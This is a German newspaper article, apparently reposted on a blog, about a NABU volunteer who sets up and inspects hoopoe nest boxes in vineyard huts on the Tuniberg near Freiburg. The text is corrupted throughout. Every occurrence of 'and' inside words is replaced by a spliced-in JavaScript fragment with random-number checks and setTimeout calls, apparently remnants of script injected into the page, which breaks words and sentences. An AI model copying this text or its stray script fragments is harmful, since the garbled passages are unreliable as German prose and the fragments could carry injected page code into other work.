Aus der BZ: Eine Heimat für die scheuen Vögel

  • UWerner
  • 23. März 2018

Von Eva Opitz

Fr, 23. März 2018

Naturschutzwart Claus Georg Krieger kümmert sich um Nistmöglichkeiten für Wiedehopfe. Der ehrenamtliche Naturschutzwart für den Naturschutzbund (Nabu) kontrolliert Nistkästen im Rahmen des Wiedehopfprojektes am Tuniberg.

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  • Claus Georg Krieger am Wiedehopf-Einschlupfloch an einer Rebhütte in den Weinbergen. Foto: Eva Opitz

FREIBURG-TUNIBERG. Die Szene spielt sich ab vor einer Rebhütte in den Weinbergen des Tunibergs. Vor einem kreisrunden Loch von wenigen Zentimetern Durchmesser hockt der Tiengener Claus Georg Krieger (71) und inspiziert ein Einschlupfloch für den Wiedehopf. Der ehrenamtliche Naturschutzwart für den Naturschutzbund (Nabu) kontrolliert Nistkästen im Rahmen des Wiedehopfprojektes am Tuniberg.

Der ehemalige Gymnasiallehrer für Biologie und Chemie, der sein Hobby zur Hauptbeschäftigung gemacht hat, hält in der Handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and eine Art Endoskop zum Ausleuchten des Nistkastens, gebastelt aus einem Kochlöffel, einem Kinderspiegel und einer Stablampe. „Da zahlt es sich aus, dass man als Naturwissenschaftler auch etwas von Physik versteht“, sagt Krieger. Moderne Methoden der Bewirtschaftung und die Flurbereinigung hätten den Wiedehopf aus den Weinbergen vertrieben. Erst als in den 1990er Jahren das Regierungspräsidium ein Projekt ins Leben rief, um den Vogel wieder anzusiedeln, kam Hoffnung auf. „Tatsächlich haben wir 2006 den ersten Wiedehopf im Tuniberg entdeckt“, berichtet Krieger. Von da an sei die Zahl der Brutpaare wieder nach oben gegangen. Zurzeit hängen mehr als 60 Brutkästen in den Weinbergen, mit Einverständnis der Winzer meist in den alten „Rebhüsli“, aber auch frei hängende Kästen werden angenommen. An die 20 Brutpaare sorgen am Tuniberg regelmäßig für Nachwuchs.

Sieben bis neun Eier legt der Vogel mit der auffallenden Federhaube im Durchschnitt. „Drei bis vier Junge kommen durch, wenn es gut läuft“, so Krieger. Für ihn bedeutet es, dass eine komplette Inspektionsfahrt sich über 90 Kilometer kreuz und quer über den Tuniberg erstreckt. Im Frühjahr fallen drei Touren an, und während der Brutzeit sind sogar fünf die Regel. Kriegers Statistiken dokumentieren die Fortpflanzungserfolge der Höhlenbrüter. Heute stehen sechs Nistkästen auf dem Programm, davon ein Neuzugang und ein Austausch vom zu kleinen zum größeren Kasten. „Der Wiedehopf ist durchaus wählerisch“, weiß der Leiter des Nabu-Wiedehopfprojektes.

Der Kofferraum seines Autos ist zum Werkzeuglager geworden. Krieger greift zu einem seiner Spezialwerkzeuge und bohrt in einer Rebhütte von innen die Wandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and an. Nach wenigen Minuten bricht der Bohrkopf durch die Holzwandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and. In der Hütte befestigt er den relativ langen und tiefen Nistkasten so, dass der Vogel möglichst weit weg vom Einflugloch brüten kann als Schutz vor nicht willkommenen Besuchern.

Der Vogelschützer bringt außen noch dazu ein Drahtgitter an, dass es neugierigen Tieren wie dem Marder erschwert, sich an der Wandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and abzustützen. „Wir wissen, dass Hunde und Füchse dem Wiedehopf nicht gerne zu nahe kommen, denn die Vögel würden sich schnell umdrehen und gezielt in die Richtung eines Eindringlings koten.“ Beim Beringen der Jungtiere sei es ratsam zu warten, bis diese zu Ende gekotet hätten.

Wichtig sei, dass das Flugloch eines Kastens als Schutz vor Regen in Richtung Südost angelegt werde. Bevor Krieger die Hütte wieder verschließt, legt er den Boden des Kastens mit im Wald gesammelten und getrockneten Sägespänen aus. Die Brutzeit beginnt Ende März, wenn die Tuniberger Wiedehopfe aus Spanien oder Nordafrika zurückkehren. „In dieser Zeit sind die Tiere extrem scheu“, erklärt der Wiedehopfexperte, „schon bei der kleinsten Störung kann es passieren, dass sie die Brut verlassen.“ Das Weibchen legt jeden Tag ein Ei und wird in der Zeit vom Männchen gefüttert, das in den Rebhängen nach Maulwurfsgrillen Ausschau hält, aber auch andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andere sogenannte Schadinsekten nicht verschmäht.

Der Naturschutzwart hat sich mit dem Appell an die Winzer und Landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andwirte am Tuniberg gewandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andt, die ehemals zum Schutz vor dem Wetter und zur Ablage von Werkzeug gebauten Hütten zu bewahren: „Sie bieten als Zeugen der Vergangenheit nach der Flurbereinigung den Höhlenbrütern Unterschlupf und Nisthilfe.“ Der Besitzer einer Rebhütte hat sich über den in seiner Hütte brütenden Wiedehopf so gefreut, dass er ihm eine Sitzstange vor das Einflugloch gebaut hat. „Da sitzt er dann wirklich und prüft, ob die Luft rein ist“, so Krieger.

 

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